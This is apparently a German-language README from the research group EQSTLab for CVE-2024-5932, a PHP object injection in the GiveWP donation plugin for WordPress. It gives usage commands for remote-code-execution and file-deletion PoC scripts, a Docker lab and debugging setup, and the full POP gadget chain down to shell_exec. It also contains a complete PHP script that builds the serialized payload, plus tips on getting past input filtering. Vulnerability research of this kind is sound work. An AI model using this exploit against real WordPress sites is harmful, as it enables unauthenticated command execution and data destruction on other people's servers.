
GiveWP PHP Object Injection exploit
Dieser Beitrag ist ein Forschungsartikel, veröffentlicht von EQSTLab.
Es gibt derzeit gefälschte PoC-GitHub-Repositories, die xmrig ausführen. Weitere Informationen finden Sie unter den folgenden Links:
URL1: https://x.com/win3zz/status/1828704644987511107
URL2: https://x.com/bornunique911/status/1828712791844524453
URL3: https://x.com/Chocapikk_/status/1828801346637856841
★ CVE-2024-5932 PoC für beliebige Dateilöschung und Remotecodeausführung ★
https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7
25. Aug. : CVE-2024-5932 PoC für Dateilöschung hochgeladen
26. Aug. : Wir haben mit CVE-2024-5932 erfolgreich beliebige Befehle ausgeführt, überlegen aber aufgrund der Auswirkungen, ob wir die Informationen veröffentlichen sollen.
27. Aug. : Wir fanden eine detaillierte Analyse des PoC in einem Beitrag von Julien Ahrens von RCE Security und beschlossen, unseren RCE PoC zu veröffentlichen. Wir haben einen zusätzlichen RCE PoC als CVE-2024-5932-rce.py hochgeladen.
CVE-2024-5932: GiveWP PHP-Object-Injection-Schwachstelle Beschreibung: Das GiveWP-Plugin für Spenden und Fundraising für WordPress ist in allen Versionen bis einschließlich 3.14.1 anfällig für PHP-Object-Injection durch Deserialisierung nicht vertrauenswürdiger Eingaben des Parameters 'give_title'. Dies ermöglicht es nicht authentifizierten Angreifern, ein PHP-Objekt zu injizieren. Das Vorhandensein einer zusätzlichen POP-Kette ermöglicht es Angreifern, Code remote auszuführen und beliebige Dateien zu löschen.
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932
pip install -r requirements.txt
# Beliebige Dateilöschung
python CVE-2024-5932.py -u <URL_ZUM_AUSNUTZEN(Spendenformular-URL)> -f <DATEI_ZUM_LÖSCHEN>
# Remotecodeausführung
python CVE-2024-5932-rce.py -u <URL_ZUM_AUSNUTZEN(Spendenformular-URL)> -c <AUSZUFÜHRENDER_BEFEHL>
python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"
CVE-2024-5932.py

CVE-2024-5932-rce.py


services:
db:
image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
restart: always
environment:
- MYSQL_ROOT_PASSWORD=somewordpress
- MYSQL_DATABASE=wordpress
- MYSQL_USER=wordpress
- MYSQL_PASSWORD=wordpress
expose:
- 3306
- 33060
wordpress:
image: wordpress:6.3.2
ports:
- 80:80
restart: always
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=wordpress
- WORDPRESS_DB_PASSWORD=wordpress
- WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
https://downloads.wordpress.org/plugin/give.3.14.1.zip
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins



Zuerst mit folgendem Befehl auf die WordPress-Shell zugreifen:
docker exec -it -u root docker-wordpress-1 /bin/bash
Wenn die Datei root gehört, kann sie aufgrund von Berechtigungen möglicherweise nicht gelöscht werden. Daher muss der Besitzer der Testdatei mit folgendem Befehl geändert werden:
touch test && chown www-data test

Sie können Ihr GiveWP mit PHPSTORM debuggen.
pecl install xdebug
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1
..Danach können Sie Ihr WordPress debuggen.


An diesem Punkt deserialisiert die Funktion get_meta() den zuvor gespeicherten Wert „give_title“.
switch ( $key ) {
case 'title':
$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
break;
...
strip_tags: Nullbytes ersetzen -> \0 verwenden
stripslashes_deep: Backslashes ersetzen -> \\\\ verwenden
Stripe\StripeObject->__toString()
Stripe\StripeObject->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()
Give->__get('address1')
\Give\Vendors\Faker\ValidGenerator->get('address1')
\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')
Give\Onboarding\SettingsRepository->get('address1') (Gibt Befehlszeichenkette zurück)
call_user_func('shell_exec', 'command')
PoC.php
<?php
namespace Stripe{
class StripeObject
{
protected $_values;
public function __construct(){
$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
}
}
}
namespace Give\PaymentGateways\DataTransferObjects{
class GiveInsertPaymentData{
public $userInfo;
public function __construct()
{
$this->userInfo['address'] = new \Give();
}
}
}
namespace{
class Give{
protected $container;
public function __construct()
{
$this->container = new \Give\Vendors\Faker\ValidGenerator();
}
}
}
namespace Give\Vendors\Faker{
class ValidGenerator{
protected $validator;
protected $generator;
public function __construct()
{
$this->validator = "shell_exec";
$this->generator = new \Give\Onboarding\SettingsRepository();
}
}
}
namespace Give\Onboarding{
class SettingsRepository{
protected $settings;
public function __construct()
{
$this -> settings['address1'] = 'touch /tmp/EQSTtest';
}
}
}
namespace{
$a = new Stripe\StripeObject();
echo serialize($a);
}
Die POP-Kette ermöglicht die Remotebefehlsausführung.

Mit TCPDF kann die beliebige Dateilöschung ausgenutzt werden.
Dieses Repository ist nicht als Ausnutzung der Objektinjektion von CVE-2024-5932 gedacht. Der Zweck dieses Projekts ist es, Menschen dabei zu helfen, mehr über diese Schwachstelle zu erfahren und möglicherweise ihre eigenen Anwendungen zu testen.
Wir veröffentlichen einmal im Monat CVE- und Malware-Analysen. Wenn Sie interessiert sind, folgen Sie bitte den untenstehenden Links, um unsere Veröffentlichungen zu sehen. https://www.skshieldus.com/eng/business/insight.do